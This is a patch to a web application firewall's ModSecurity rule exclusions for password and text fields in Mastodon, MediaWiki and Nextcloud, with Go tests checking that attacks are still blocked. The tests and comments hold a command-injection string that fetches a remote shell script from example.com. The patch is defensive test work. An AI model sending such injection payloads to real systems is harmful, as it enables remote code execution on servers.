SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every
+71 -20
View File
@@ -6,6 +6,7 @@ import (
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -129,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -145,14 +142,33 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{
http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=",
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, "password="},
{http.MethodPost, mastodonSignUp, "reason="},
{http.MethodPost, mastodonSignUp, passwordField},
}
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
}
// mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -178,7 +194,6 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -287,30 +302,61 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// mastodonCommandAttack is a shell command that only 932230 and 932235
// refuse on the fields that skip the four rules.
const mastodonCommandAttack = "; wget http://example.com/x.sh"
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
// No rule these fields keep catches the SQL injection or the path
// traversal.
wantPasswordAttacksRefused(t, r, name, scriptTag)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password", scriptTag)
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
attack := url.QueryEscape(mastodonCommandAttack)
for _, target := range mastodonQueryFields {
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
got := inspect(t, crs, get(target+commandInjection))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
for _, sent := range mastodonFormFields {
if mastodonForm(t, sent, attack) < mastodonThreshold {
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
for _, sent := range mastodonJSONFields {
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
@@ -329,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", sent, score)
}
}
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
}
code := url.QueryEscape(mastodonCodePost)
@@ -497,7 +549,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
}
for _, value := range slices.Concat(
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
refused, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value)
@@ -548,8 +600,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// The address keeps 932250 and the rules that refuse attacks.
for _, value := range slices.Concat(
[]string{"ls%20-la"}, mastodonAttacks,
[]string{url.QueryEscape(mastodonCommandAttack)},
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, sent, value) < mastodonThreshold {
t.Errorf("%v with %s let through", sent, value)
+80
View File
@@ -108,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# wpPassword, lgpassword and password skip each rule random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
+41 -13
View File
@@ -3,6 +3,7 @@ package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
)
@@ -49,9 +50,9 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=".
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// each in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
@@ -136,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them.
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// each in a form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
@@ -165,9 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
{mediawikiAPI, "password="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
@@ -233,6 +241,25 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
// No rule these fields keep catches the SQL injection or the path
// traversal.
wantPasswordAttacksRefused(t, r, name, scriptTag)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -253,7 +280,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -311,8 +339,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
}
}
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiWikitextFields...)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiPasswordFields)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
+288
View File
@@ -0,0 +1,288 @@
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each exclusion below removes these four from its fields.
#
# A comment, a share's note and an account's status hold sentences a person
# writes. Four more rules refused ordinary sentences there:
# 932125: It is fixed; diff attached
# 932230: Run python3 or powershell; ls -la shows .htaccess
# 932235: We need more time; find the old notes first
# 932380: Tested on Windows; powershell works
# The text of a document holds such sentences too, and code blocks. Two more
# rules refused a shell script in a code block:
# 932160: #!/bin/bash
# 932370: ```bash, which starts the code block
# These fields skip the rules that refused them. So a shell command such as
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
# MKCOL: making a folder, and starting a chunked upload
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
# REPORT: listing favourites and comments
# SEARCH: the Files app's search
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900100,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
# which every request sends, on every path. Each request of the account
# python3 was refused.
SecAction "id:900101,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
# Signing in, in the query or the body:
# user, password: user=python3&password=Example-pass-python3
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900102,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900119,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
